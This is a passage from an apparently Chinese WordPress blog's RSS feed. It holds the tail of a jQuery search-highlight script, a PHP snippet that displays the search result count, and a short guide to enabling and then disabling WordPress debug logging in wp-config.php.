  7. var regex = new RegExp("(<[^>]*>)|(\\b"+ search.replace(/([-.*+?^${}()|[\]\/\\])/g,"\\$1") +")", insensitive ? "ig" : "g");  
  8. return this.html(this.html().replace(regex, function(a, b, c){  
  9. return (a.charAt(0) == "<") ? a : "<strong class=\""+ hls_class +"\">" + c + "</strong>";  
  10.   }));  
  11. }  
  12. });  
  13. jQuery(document).ready(function($){  
  14. if(typeof(hls_query) != 'undefined'){  
  15.   $("#post-area").highlight(hls_query, 1, "hls");  
  16. }  
  17. });  
  18. </script>

显示搜索结果条目数量

返回搜索结果数量。例如 – 对“twitter”的搜索结果数量为 – 8 篇日志。

  1. <h2 class="pagetitle">  
  2.     Search Result for  
  3.     <?php /* Search Count */  
  4. $allsearch = &new WP_Query("s=$s&showposts=-1");  
  5. $key = wp_specialchars($s, 1);  
  6. $count = $allsearch->post_count;  
  7.     _e(''); _e('<span class="search-terms">');  
  8. echo $key; _e('</span>'); _e(' &mdash; ');  
  9. echo $count . ' '; _e('articles'); wp_reset_query();  
  10.     ?>  
  11. </h2>

有用的WordPress搜索代码片段,首发于蓝月网络

]]>
WordPress 出现了问题,如何 Debug! https://lanyueer.com/how-to-debug-wordpress/ Mon, 11 Jan 2016 05:58:19 +0000 http://lanyueer.com/?p=530 1. 如果是前台和后台空白,并且没有显示任何错误。 打开 wp-config.php 文件,将原来的 WP_D…

WordPress 出现了问题,如何 Debug!,首发于蓝月网络

]]>
1. 如果是前台和后台空白,并且没有显示任何错误。

打开 wp-config.php 文件,将原来的 WP_Debug 设置改成如下设置:

  1. define('WP_DEBUG', true);
  2. define('WP_DEBUG_DISPLAY', true);

保存之后,再刷新前台或者后台,就可以看到错误的 log 了。

2. 错误是发生在某些后台进程,比如 cron job 或者微信自定义回复的时候,没法显示错误log,我们可以把 log 保存到 debug 文件。

打开 wp-config.php 文件,将原来的 WP_Debug 设置改成如下设置:

  1. define('WP_DEBUG', true);
  2. define('WP_DEBUG_DISPLAY', false);
  3. define('WP_DEBUG_LOG', true);

然后就可以在 wp-content/debug.log 文件中看到相应的错误信息了。

最后一定要记得,测试完了一定要改回去,就是:

  1. define('WP_DEBUG', false);

不然,你的用户也会看到你的系统错误了,或者 wp-content/debug.log 很大,把你服务器的空间都用完。

WordPress 出现了问题,如何 Debug!,首发于蓝月网络

]]>